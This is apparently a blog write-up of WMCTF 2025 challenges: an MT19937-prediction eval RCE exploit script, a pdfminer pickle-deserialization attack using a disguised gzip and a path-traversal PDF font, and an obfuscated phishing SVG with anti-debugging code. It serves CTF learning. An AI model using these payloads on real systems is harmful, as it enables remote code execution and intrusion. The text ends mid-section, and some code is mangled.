wmctf2025

news/2025/10/9 18:05:45/文章来源:https://www.cnblogs.com/lee0/p/19131689

web

guess

from flask import Flask, request, jsonify, session, render_template, redirect
import randomrd = random.Random()def generate_random_string():return str(rd.getrandbits(32))app = Flask(__name__)
app.secret_key = generate_random_string()users = []a = generate_random_string()@app.route('/register', methods=['POST', 'GET'])
def register():if request.method == 'GET':return render_template('register.html')data = request.get_json()username = data.get('username')password = data.get('password')if not username or not password:return jsonify({'error': 'Username and password are required'}), 400if any(user['username'] == username for user in users):return jsonify({'error': 'Username already exists'}), 400user_id = generate_random_string()users.append({'user_id': user_id,'username': username,'password': password})return jsonify({'message': 'User registered successfully','user_id': user_id}), 201@app.route('/login', methods=['POST', 'GET'])
def login():if request.method == 'GET':return render_template('login.html')data = request.get_json()username = data.get('username')password = data.get('password')if not username or not password:return jsonify({'error': 'Username and password are required'}), 400user = next((user for user in users if user['username'] == username and user['password'] == password), None)if not user:return jsonify({'error': 'Invalid credentials'}), 401session['user_id'] = user['user_id']session['username'] = user['username']return jsonify({'message': 'Login successful','user_id': user['user_id']}), 200@app.post('/api')
def protected_api():data = request.get_json()key1 = data.get('key')if not key1:return jsonify({'error': 'key are required'}), 400key2 = generate_random_string()if not str(key1) == str(key2):return jsonify({'message': 'Not Allowed:' + str(key2) ,}), 403payload = data.get('payload')if payload:eval(payload, {'__builtin__':{}})return jsonify({'message': 'Access granted',})@app.route('/')
def index():if 'user_id' not in session:return redirect('/login')return render_template('index.html')if __name__ == '__main__':app.run(host='0.0.0.0', port=5001)

目标是执行eval进行rce,进入的条件是key1=key2,key1是用户输入的,key2是随机数生成的,经典的MT19937预测

def protected_api():data = request.get_json()key1 = data.get('key')if not key1:return jsonify({'error': 'key are required'}), 400key2 = generate_random_string()if not str(key1) == str(key2):return jsonify({'message': 'Not Allowed:' + str(key2) ,}), 403payload = data.get('payload')if payload:eval(payload, {'__builtin__':{}})return jsonify({'message': 'Access granted',})

不难发现,每次注册一个账号后都会返回一个user_id,user_id是随机生成的,因此只需要注册624个账号,得到624个连续的随机数就可以预测后面的随机数了

@app.route('/register', methods=['POST', 'GET'])
def register():if request.method == 'GET':return render_template('register.html')data = request.get_json()username = data.get('username')password = data.get('password')if not username or not password:return jsonify({'error': 'Username and password are required'}), 400if any(user['username'] == username for user in users):return jsonify({'error': 'Username already exists'}), 400user_id = generate_random_string()users.append({'user_id': user_id,'username': username,'password': password})return jsonify({'message': 'User registered successfully','user_id': user_id}), 201

但是eval中将__builtin__替换成了空字符,隔离了内置模块如os,open等功能,因此需要通过类继承链获得内置引用

payload = '''next(cls for cls in __builtin__.__class__.__bases__[0].__subclasses__()if hasattr(cls, '__init__') and hasattr(cls.__init__, '__globals__') and 'os' in cls.__init__.__globals__
).__init__.__globals__['os'].popen('mkdir /app/static;cat /flag > /app/static/1.txt').read()'''
payload = '''
print(__import__("os").__getattribute__("metsys"[::-1])('ls'))
'''

最终脚本

impot requests
from randcrack import RandCrack# 目标URL
base_url = 'http://x.x.x.x:x/'
register_url = f'{base_url}/register'
api_url = f'{base_url}/api'# 初始化RandCrack
rc = RandCrack()# 注册624个用户并收集user_id
for i in range(624):username = f'user{i}'password = 'password'data = {'username': username,'password': password}response = requests.post(register_url, json=data)if response.status_code == 201:user_id = response.json()['user_id']rc.submit(int(user_id))print(f'Registered user{i}, user_id: {user_id}')else:print(f'Error registering user{i}: {response.text}')exit(1)# 预测下一个随机数
predicted_key = rc.predict_getrandbits(32)
print(f'Predicted key: {predicted_key}')# # 构造恶意payload读取flag
payload = '''next(cls for cls in __builtin__.__class__.__bases__[0].__subclasses__()if hasattr(cls, '__init__') and hasattr(cls.__init__, '__globals__') and 'os' in cls.__init__.__globals__
).__init__.__globals__['os'].popen('mkdir /app/static;cat /flag > /app/static/1.txt').read()'''# 发送API请求
data = {'key': str(predicted_key),'payload': payload
}
response = requests.post(api_url, json=data)
print(response.text)

pdf2text(复现)

题目是一个pdf转换器,将pdf转换为txt,提示搜索pickle.loads

分析调用链

在cmapdb.py中找到了pickle.loads

def _load_data(cls, name: str) -> Any:name = name.replace("\0", "")filename = "%s.pickle.gz" % namelog.debug("loading: %r", name)cmap_paths = (os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),os.path.join(os.path.dirname(__file__), "cmap"),)for directory in cmap_paths:path = os.path.join(directory, filename)if os.path.exists(path):gzfile = gzip.open(path)try:return type(str(name), (), pickle.loads(gzfile.read()))finally:gzfile.close()raise CMapDB.CMapNotFound(name)

来分析一下这个函数,这里反序列化的是当前目录下cmp子目录中文件,假如文件存在就进行pickle反序列化

假如这里的name是可控的,就可以通过路径穿越穿越到我们可控的目录就能rce了

往上找哪里调用了_load_data

image-20250924125012318

找到两处,第二处的前缀被写死了,不能路径穿越,进入get_cmap

@classmethod
def get_cmap(cls, name: str) -> CMapBase:if name == "Identity-H":return IdentityCMap(WMode=0)elif name == "Identity-V":return IdentityCMap(WMode=1)elif name == "OneByteIdentityH":return IdentityCMapByte(WMode=0)elif name == "OneByteIdentityV":return IdentityCMapByte(WMode=1)try:return cls._cmap_cache[name]except KeyError:passdata = cls._load_data(name)cls._cmap_cache[name] = cmap = PyCMap(name, data)return cmap

继续往上找

image-20250924125318453

def get_cmap_from_spec(self, spec: Mapping[str, Any], strict: bool) -> CMapBase:"""Get cmap from font specificationFor certain PDFs, Encoding Type isn't mentioned as an attribute ofEncoding but as an attribute of CMapName, where CMapName is anattribute of spec['Encoding'].The horizontal/vertical modes are mentioned with different namesuch as 'DLIdent-H/V','OneByteIdentityH/V','Identity-H/V'."""cmap_name = self._get_cmap_name(spec, strict)try:return CMapDB.get_cmap(cmap_name)except CMapDB.CMapNotFound as e:if strict:raise PDFFontError(e)return CMap()
    @staticmethoddef _get_cmap_name(spec: Mapping[str, Any], strict: bool) -> str:"""Get cmap name from font specification"""cmap_name = "unknown"  # default valuetry:spec_encoding = spec["Encoding"]if hasattr(spec_encoding, "name"):cmap_name = literal_name(spec["Encoding"])else:cmap_name = literal_name(spec_encoding["CMapName"])except KeyError:if strict:raise PDFFontError("Encoding is unspecified")if type(cmap_name) is PDFStream:  # type: ignore[comparison-overlap]cmap_name_stream: PDFStream = cast(PDFStream, cmap_name)if "CMapName" in cmap_name_stream:cmap_name = cmap_name_stream.get("CMapName").nameelif strict:raise PDFFontError("CMapName unspecified for encoding")return IDENTITY_ENCODER.get(cmap_name, cmap_name)

提取pdf中编码信息encoding,并把它设置为cmapname,这是我们可控的

image-20250924125607729

class PDFCIDFont(PDFFont):default_disp: Union[float, Tuple[Optional[float], float]]def __init__(self,rsrcmgr: "PDFResourceManager",spec: Mapping[str, Any],strict: bool = settings.STRICT,) -> None:try:self.basefont = literal_name(spec["BaseFont"])except KeyError:if strict:raise PDFFontError("BaseFont is missing")self.basefont = "unknown"self.cidsysteminfo = dict_value(spec.get("CIDSystemInfo", {}))cid_registry = resolve1(self.cidsysteminfo.get("Registry", b"unknown")).decode("latin1",)cid_ordering = resolve1(self.cidsysteminfo.get("Ordering", b"unknown")).decode("latin1",)self.cidcoding = f"{cid_registry.strip()}-{cid_ordering.strip()}"self.cmap: CMapBase = self.get_cmap_from_spec(spec, strict)

这里只有初始化的时候用到了这个函数,找类实例化的地方

image-20250924125900911

    def get_font(self, objid: object, spec: Mapping[str, object]) -> PDFFont:if objid and objid in self._cached_fonts:font = self._cached_fonts[objid]else:log.debug("get_font: create: objid=%r, spec=%r", objid, spec)if settings.STRICT:if spec["Type"] is not LITERAL_FONT:raise PDFFontError("Type is not /Font")# Create a Font object.if "Subtype" in spec:subtype = literal_name(spec["Subtype"])else:if settings.STRICT:raise PDFFontError("Font Subtype is not specified.")subtype = "Type1"if subtype in ("Type1", "MMType1"):# Type1 Fontfont = PDFType1Font(self, spec)elif subtype == "TrueType":# TrueType Fontfont = PDFTrueTypeFont(self, spec)elif subtype == "Type3":# Type3 Fontfont = PDFType3Font(self, spec)elif subtype in ("CIDFontType0", "CIDFontType2"):# CID Fontfont = PDFCIDFont(self, spec)elif subtype == "Type0":# Type0 Fontdfonts = list_value(spec["DescendantFonts"])assert dfontssubspec = dict_value(dfonts[0]).copy()for k in ("Encoding", "ToUnicode"):if k in spec:subspec[k] = resolve1(spec[k])font = self.get_font(None, subspec)else:if settings.STRICT:raise PDFFontError("Invalid Font spec: %r" % spec)font = PDFType1Font(self, spec)  # this is so wrong!if objid and self.caching:self._cached_fonts[objid] = fontreturn font

当subtype为CIDFontType0或者CIDFontType2时,会实例化PDFCIDFont类

简而言之,PDFCIDFont 实例化的时机是当 PDF 中的字体是 CID 类型字体 时,且其子类型是 CIDFontType0CIDFontType2

查找get_font函数所在类的实例化,发现了extract_pages

image-20250924131734596

def extract_pages(pdf_file: FileOrName,password: str = "",page_numbers: Optional[Container[int]] = None,maxpages: int = 0,caching: bool = True,laparams: Optional[LAParams] = None,
) -> Iterator[LTPage]:"""Extract and yield LTPage objects:param pdf_file: Either a file path or a file-like object for the PDF fileto be worked on.:param password: For encrypted PDFs, the password to decrypt.:param page_numbers: List of zero-indexed page numbers to extract.:param maxpages: The maximum number of pages to parse:param caching: If resources should be cached:param laparams: An LAParams object from pdfminer.layout. If None, usessome default settings that often work well.:return: LTPage objects"""if laparams is None:laparams = LAParams()with open_filename(pdf_file, "rb") as fp:fp = cast(BinaryIO, fp)  # we opened in binary moderesource_manager = PDFResourceManager(caching=caching)device = PDFPageAggregator(resource_manager, laparams=laparams)interpreter = PDFPageInterpreter(resource_manager, device)for page in PDFPage.get_pages(fp,page_numbers,maxpages=maxpages,password=password,caching=caching,):interpreter.process_page(page)layout = device.get_result()yield layout

image-20250924131950610

from pdfminer.high_level import extract_pages
from pdfminer.layout import LTTextContainerdef pdf_to_text(pdf_path, txt_path):with open(txt_path, 'w', encoding='utf-8') as txt:for page_layout in extract_pages(pdf_path):for element in page_layout:if isinstance(element, LTTextContainer):txt.write(element.get_text())txt.write('\n')

终于找到头了

总结一下,本题的思路就是先上传一个包含pickle序列化数据的gz压缩包,再上传包含路径穿越和CID字体的pdf,最终pickle.loads指向我们上传的gz文件

#调用链
pdf_to_text->extract_pages->PDFResourceManager->PDFCIDFont->get_cmap_from_spec->get_cmap->_load_data->pickle.loads

但现在的问题是题目只能上传pdf,没法上传gz

经过测试,只要在gz后加上pdf文件尾的一部分就可以绕过了

第一步:生成一个gz 代码要在linux中跑,在windows中会出问题

import os
import gzip
import pickleclass Tmp:def __reduce__(self):return (os.system, ("mkdir ./static;cat /flag > /app/static/1.txt",))obj = Tmp()
ser_data = pickle.dumps(obj)
pdf_content =b'''
trailer
<</Root 1 0 R/Size 7
>>
startxref
'''
with gzip.open("pickle.pickle.gz","wb",compresslevel = 0) as f:f.write(ser_data)f.write(pdf_content)
print("success")

第二步:生成pdf

%PDF-1.4
1 0 obj
<</Type /Catalog/Pages 2 0 R
>>
endobj2 0 obj
<</Type /Pages/Count 1/Kids [3 0 R]
>>
endobj3 0 obj
<</Type /Page/Parent 2 0 R/MediaBox [0 0 595 842]/Resources <</Font <</F1 4 0 R>>>>/Contents 5 0 R
>>
endobj4 0 obj
<</Type /Font/Subtype /CIDFontType0/BaseFont /Adobe-GB1/Encoding /..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2Fapp#2Fuploads#2Fpickle/CIDSystemInfo <</Registry (Adobe)/Ordering (GB1)/Supplement 0>>>>
endobj5 0 obj
<< /Length 32 >>
stream
BT
/F1 24 Tf
100 700 Td
(A) Tj
ET
endstream
endobjxref
0 6
0000000000 65535 f
0000000010 00000 n
0000000058 00000 n
0000000115 00000 n
0000000252 00000 n
0000000375 00000 n
0000000534 00000 n
trailer
<</Root 1 0 R/Size 6
>>
startxref
620
%%EOF

测试,下个断点查看path的值

image-20250924191141430

image-20250924194625031

路径构造成功

上传即可获得flag

misc

phishing_mail

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 600" width="800" height="600"><!-- Fake invoice design to look legitimate --><rect width="800" height="600" fill="#f8f9fa"/><rect x="50" y="50" width="700" height="500" fill="white" stroke="#dee2e6" stroke-width="2"/><!-- Header --><text x="400" y="100" text-anchor="middle" font-family="Arial" font-size="24" font-weight="bold" fill="#212529">INVOICE #2025-0727</text><text x="400" y="130" text-anchor="middle" font-family="Arial" font-size="14" fill="#6c757d">Payment Due: August 15, 2025</text><!-- Company info --><text x="80" y="180" font-family="Arial" font-size="16" font-weight="bold" fill="#495057">From:</text><text x="80" y="200" font-family="Arial" font-size="14" fill="#495057">TechSolutions Corp</text><text x="80" y="220" font-family="Arial" font-size="14" fill="#495057">123 Business Ave</text><text x="80" y="240" font-family="Arial" font-size="14" fill="#495057">New York, NY 10001</text><text x="400" y="180" font-family="Arial" font-size="16" font-weight="bold" fill="#495057">To:</text><text x="400" y="200" font-family="Arial" font-size="14" fill="#495057">Your Company</text><text x="400" y="220" font-family="Arial" font-size="14" fill="#495057">456 Client Street</text><text x="400" y="240" font-family="Arial" font-size="14" fill="#495057">Boston, MA 02101</text><!-- Invoice details --><line x1="80" y1="280" x2="720" y2="280" stroke="#dee2e6" stroke-width="2"/><text x="80" y="310" font-family="Arial" font-size="14" font-weight="bold" fill="#495057">Description</text><text x="500" y="310" font-family="Arial" font-size="14" font-weight="bold" fill="#495057">Amount</text><text x="80" y="340" font-family="Arial" font-size="14" fill="#495057">IT Security Consultation</text><text x="500" y="340" font-family="Arial" font-size="14" fill="#495057">$2,500.00</text><text x="80" y="370" font-family="Arial" font-size="14" fill="#495057">Network Assessment</text><text x="500" y="370" font-family="Arial" font-size="14" fill="#495057">$1,800.00</text><line x1="450" y1="400" x2="720" y2="400" stroke="#dee2e6" stroke-width="1"/><text x="500" y="430" font-family="Arial" font-size="16" font-weight="bold" fill="#495057">Total: $4,300.00</text><text x="400" y="480" text-anchor="middle" font-family="Arial" font-size="12" fill="#dc3545">Please click to view detailed payment instructions</text><!-- Hidden malicious script with multiple layers of obfuscation --><script><![CDATA[// Anti-debugging and detection evasionvar jXKuzdDMGk = false;var detectionBypass = true;var globalSeed = 0x5A4D;var entropy = [];// Advanced fingerprinting and detection evasion(function antiDetection() {// Check for WebDriver, PhantomJS, Burp Suiteif (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp") || navigator.userAgent.includes("HeadlessChrome") ||navigator.userAgent.includes("Selenium") || window.chrome && chrome.runtime && chrome.runtime.onConnect) {window.location = "about:blank";return;}// Advanced environment fingerprintingvar canvas = document.createElement('canvas');var ctx = canvas.getContext('2d');ctx.textBaseline = 'top';ctx.font = '14px Arial';ctx.fillText('Browser fingerprint test', 2, 2);var fingerprint = canvas.toDataURL();// Generate entropy from browser characteristicsentropy = [navigator.hardwareConcurrency || 4,screen.colorDepth,screen.pixelDepth,new Date().getTimezoneOffset(),fingerprint.length,navigator.language.length,window.devicePixelRatio * 1000 | 0];// Check for debugging environment indicatorsif (window.outerHeight - window.innerHeight > 200 || window.outerWidth - window.innerWidth > 200 ||fingerprint.length < 100) {detectionBypass = false;}// Generate seed from entropyglobalSeed = entropy.reduce(function(acc, val) {return ((acc << 5) - acc + val) & 0xFFFFFFFF;}, 0x5A4D);})();// Block developer tools shortcutsdocument.addEventListener("keydown", function (event) {var blockedKeys = [{ keyCode: 123 }, // F12{ ctrl: true, keyCode: 85 }, // Ctrl + U{ ctrl: true, shift: true, keyCode: 73 }, // Ctrl + Shift + I{ ctrl: true, shift: true, keyCode: 67 }, // Ctrl + Shift + C{ ctrl: true, shift: true, keyCode: 74 }, // Ctrl + Shift + J{ ctrl: true, shift: true, keyCode: 75 }, // Ctrl + Shift + K{ meta: true, alt: true, keyCode: 73 }, // Cmd + Alt + I (Mac){ meta: true, keyCode: 85 } // Cmd + U (Mac)];var isBlocked = blockedKeys.some(function(key) {return (!key.ctrl || event.ctrlKey) &&(!key.shift || event.shiftKey) &&(!key.meta || event.metaKey) &&(!key.alt || event.altKey) &&event.keyCode === key.keyCode;});if (isBlocked) {event.preventDefault();return false;}});// Block right-click context menudocument.addEventListener('contextmenu', function(event) {event.preventDefault();return false;});// Advanced anti-debugging using performance timing with variable thresholds(function timingCheck() {var baseThreshold = 50;var dynamicThreshold = baseThreshold + (globalSeed % 100);var checkCount = 0;setInterval(function() {var start = performance.now();debugger;var end = performance.now();checkCount++;// Variable threshold based on environmentvar currentThreshold = dynamicThreshold + (checkCount * 10);if (end - start > currentThreshold && detectionBypass) {jXKuzdDMGk = true;// Redirect with multiple decoy destinationsvar decoyUrls = ['https://www.google.com', 'https://www.microsoft.com', 'about:blank'];window.location.replace(decoyUrls[globalSeed % decoyUrls.length]);}}, 150 + (globalSeed % 100));})();function customPRNG(seed) {var m = 0x80000000; // 2**31var a = 1103515245;var c = 12345;seed = (a * seed + c) % m;return seed / (m - 1);}function advancedXOR(data, keyBase) {var result = '';var expandedKey = '';for (var i = 0; i < data.length; i++) {var keyChar = keyBase.charCodeAt(i % keyBase.length);var entropyVal = entropy[i % entropy.length];var rotatedKey = ((keyChar ^ entropyVal) + globalSeed) % 256;expandedKey += String.fromCharCode(rotatedKey);}for (var j = 0; j < data.length; j++) {result += String.fromCharCode(data.charCodeAt(j) ^ expandedKey.charCodeAt(j));}return result;}// Main payload - heavily obfuscated with multiple transformation layerssetTimeout(function() {if (!jXKuzdDMGk && detectionBypass) {var decoyArray1 = [119,109,99,116,102,123,102,97,107,101,95,102,108,97,103,125]; // wmctf{fake_flag}var decoyArray2 = [104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,99,111,109];var polymorphicData = ['V01DVEZbZmFrZV9mbGFnXQ==','bm90X3RoZV9yZWFsX2ZsYWc=','ZGVjb3lfZGF0YQ==','4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y','4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R','4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J','4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B','4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'];// Layer 3: Environmental validation with complex checksvar envValidation = function() {var checks = [typeof window !== 'undefined',typeof document !== 'undefined',navigator.userAgent.length > 10,screen.width > 0 && screen.height > 0,Date.now() > 1700000000000, // After 2023Math.abs(new Date().getTimezoneOffset()) < 1440, // Valid timezoneentropy.length === 7,globalSeed !== 0x5A4D // Should be modified by fingerprinting];var validCount = checks.filter(Boolean).length;return validCount >= 6; // Require most checks to pass};// Layer 4: Steganographic data hidden in mathematical sequencesvar fibSequence = [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584];var primeSequence = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61];// Hidden data in sequence differences (steganography)var hiddenIndices = [];for (var i = 1; i < fibSequence.length; i++) {var diff = fibSequence[i] - fibSequence[i-1];if (diff > 0 && diff < polymorphicData.length) {hiddenIndices.push(diff % polymorphicData.length);}}var generateDynamicKey = function() {var timeComponent = (Date.now() % 86400000).toString(36); // Daily changing componentvar envComponent = (globalSeed ^ 0xDEADBEEF).toString(36);var browserComponent = (navigator.userAgent.length * screen.colorDepth).toString(36);var staticKey = 'WMCTF_2025_SVG_ANALYSIS';return staticKey;};var decryptionPipeline = function() {if (!envValidation()) {console.log('Environment validation failed');return null;}try {var dynamicKey = generateDynamicKey();var realDataIndices = [3, 4, 5, 6, 7]; // Skip decoy datavar encryptedParts = [];for (var i = 0; i < realDataIndices.length; i++) {var idx = realDataIndices[i];if (idx < polymorphicData.length) {encryptedParts.push(polymorphicData[idx]);}}console.log('Found encrypted parts:', encryptedParts.length);var stage1Results = [];for (var j = 0; j < encryptedParts.length; j++) {var part = encryptedParts[j];// Convert Unicode escape sequences to charactersvar decoded = part.replace(/4oyM|4p2[a-zA-Z0-9]|77i[a-zA-Z0-9]/g, function(match) {var charMap = {'4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P','4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c','4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f','77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i','4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n','4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's','4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't','4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}','77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!','4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'};return charMap[match] || '';});stage1Results.push(decoded);}var combined = stage1Results.join('');console.log('Stage 1 result:', combined);var finalResult = '';for (var k = 0; k < combined.length; k++) {var char = combined.charCodeAt(k);var keyChar = dynamicKey.charCodeAt(k % dynamicKey.length);var transformed = char ^ (keyChar % 32); // Reduced XOR for readabilityfinalResult += String.fromCharCode(transformed);}return finalResult;} catch (error) {console.log('Decryption failed:', error.message);return null;}};var mathematicalObfuscation = function() {var phi = 1.618033988749895; // Golden ratiovar pi = 3.141592653589793;   // Pivar e = 2.718281828459045;    // Euler's numbervar mathKey = Math.floor(phi * 1000) + Math.floor(pi * 1000) + Math.floor(e * 1000);window.mathSegments = [btoa(String.fromCharCode(mathKey % 256) + segments[0]),btoa(String.fromCharCode((mathKey * 2) % 256) + segments[1]),btoa(String.fromCharCode((mathKey * 3) % 256) + segments[2]),btoa(String.fromCharCode((mathKey * 4) % 256) + segments[3]),btoa(String.fromCharCode((mathKey * 5) % 256) + segments[4])];return mathKey;};var mathKey = mathematicalObfuscation();if (detectionBypass && !jXKuzdDMGk && verification()) {constructPayload();window.extractFlag = function() {try {if (window.hiddenData) {var encoded = atob(window.hiddenData);var key = 'WMCTF2025';var decoded = '';for (var i = 0; i < encoded.length; i++) {decoded += String.fromCharCode(encoded.charCodeAt(i) ^ key.charCodeAt(i % key.length));}console.log('Extracted flag:', decoded);return decoded;}} catch (e) {console.log('Flag extraction failed');}};}}}, 1000);// Decoy functions to confuse analysisfunction generateFakeTraffic() {var fakeUrls = ['https://api.example.com/data','https://cdn.jsdelivr.net/npm/package','https://fonts.googleapis.com/css'];// These would normally make requests but are disabled for CTF}function createFakeElements() {// Create invisible elements with misleading datavar hiddenDiv = document.createElement('div');hiddenDiv.style.display = 'none';hiddenDiv.innerHTML = atob('RmFrZSBmbGFnOiBXTUNURntub3RfdGhlX3JlYWxfZmxhZ30=');document.body.appendChild(hiddenDiv);}// Initialize decoy functionsgenerateFakeTraffic();createFakeElements();// Add click handler for the invoicedocument.addEventListener('click', function() {if (detectionBypass && !jXKuzdDMGk) {// This would normally redirect to phishing site// window.location.href = 'https://fake-payment-portal.com';console.log('Invoice clicked - in real attack, this would redirect to phishing site');}});]]></script>
</svg>

只有这一段是有用的

// Main payload - heavily obfuscated with multiple transformation layers
setTimeout(function() {if (!jXKuzdDMGk && detectionBypass) {var decoyArray1 = [119,109,99,116,102,123,102,97,107,101,95,102,108,97,103,125]; // wmctf{fake_flag}var decoyArray2 = [104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,99,111,109];var polymorphicData = ['V01DVEZbZmFrZV9mbGFnXQ==','bm90X3RoZV9yZWFsX2ZsYWc=','ZGVjb3lfZGF0YQ==','4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y','4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R','4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J','4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B','4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'];// Layer 3: Environmental validation with complex checksvar envValidation = function() {var checks = [typeof window !== 'undefined',typeof document !== 'undefined',navigator.userAgent.length > 10,screen.width > 0 && screen.height > 0,Date.now() > 1700000000000, // After 2023Math.abs(new Date().getTimezoneOffset()) < 1440, // Valid timezoneentropy.length === 7,globalSeed !== 0x5A4D // Should be modified by fingerprinting];var validCount = checks.filter(Boolean).length;return validCount >= 6; // Require most checks to pass};// Layer 4: Steganographic data hidden in mathematical sequencesvar fibSequence = [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584];var primeSequence = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61];// Hidden data in sequence differences (steganography)var hiddenIndices = [];for (var i = 1; i < fibSequence.length; i++) {var diff = fibSequence[i] - fibSequence[i-1];if (diff > 0 && diff < polymorphicData.length) {hiddenIndices.push(diff % polymorphicData.length);}}var generateDynamicKey = function() {var timeComponent = (Date.now() % 86400000).toString(36); // Daily changing componentvar envComponent = (globalSeed ^ 0xDEADBEEF).toString(36);var browserComponent = (navigator.userAgent.length * screen.colorDepth).toString(36);var staticKey = 'WMCTF_2025_SVG_ANALYSIS';return staticKey;};var decryptionPipeline = function() {if (!envValidation()) {console.log('Environment validation failed');return null;}try {var dynamicKey = generateDynamicKey();var realDataIndices = [3, 4, 5, 6, 7]; // Skip decoy datavar encryptedParts = [];for (var i = 0; i < realDataIndices.length; i++) {var idx = realDataIndices[i];if (idx < polymorphicData.length) {encryptedParts.push(polymorphicData[idx]);}}console.log('Found encrypted parts:', encryptedParts.length);var stage1Results = [];for (var j = 0; j < encryptedParts.length; j++) {var part = encryptedParts[j];// Convert Unicode escape sequences to charactersvar decoded = part.replace(/4oyM|4p2[a-zA-Z0-9]|77i[a-zA-Z0-9]/g, function(match) {var charMap = {'4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P','4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c','4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f','77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i','4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n','4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's','4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't','4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}','77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!','4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'};return charMap[match] || '';});

解密映射

import re# 1. 字符映射表(与第一步保持一致)
char_map = {'4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P','4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c','4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f','77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i','4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n','4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's','4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't','4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}','77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!','4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'
}# 2. 加密数据(仅真实数据部分)
polymorphic_data = ['4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',  # 索引3'4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',      # 索引4'4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',      # 索引5'4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',      # 索引6'4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'       # 索引7
]conbined_data = ''.join(polymorphic_data)
# 3. 解密函数
used_keys = set()
sorted_keys = sorted(char_map.keys(), key=len, reverse=True)#将key按照长度从大到小排序,避免匹配错误
pattern = re.compile('|'.join(re.escape(key) for key in sorted_keys))
final_flag_list = []for match in pattern.finditer(conbined_data):key = match.group(0)#if key not in used_keys:final_flag_list.append(char_map[key])used_keys.add(key)flag = "".join(final_flag_list)
print("Flag:", flag)
//Flag: wmctwf{SVG_Pchishing_iAtt{aic_k_{Dgeitte{cit_io{ng_iEtv{ais_io{ng}i!t!{!i!_!

比赛的时候就卡在这了,长得有点像flag,当时都猜出来几个单词了,但还是没做出来...

复盘时候才发现开头wmctwf出现了两次w,所以推测映射表中的元素只能映射一次

import re# 1. 字符映射表(与第一步保持一致)
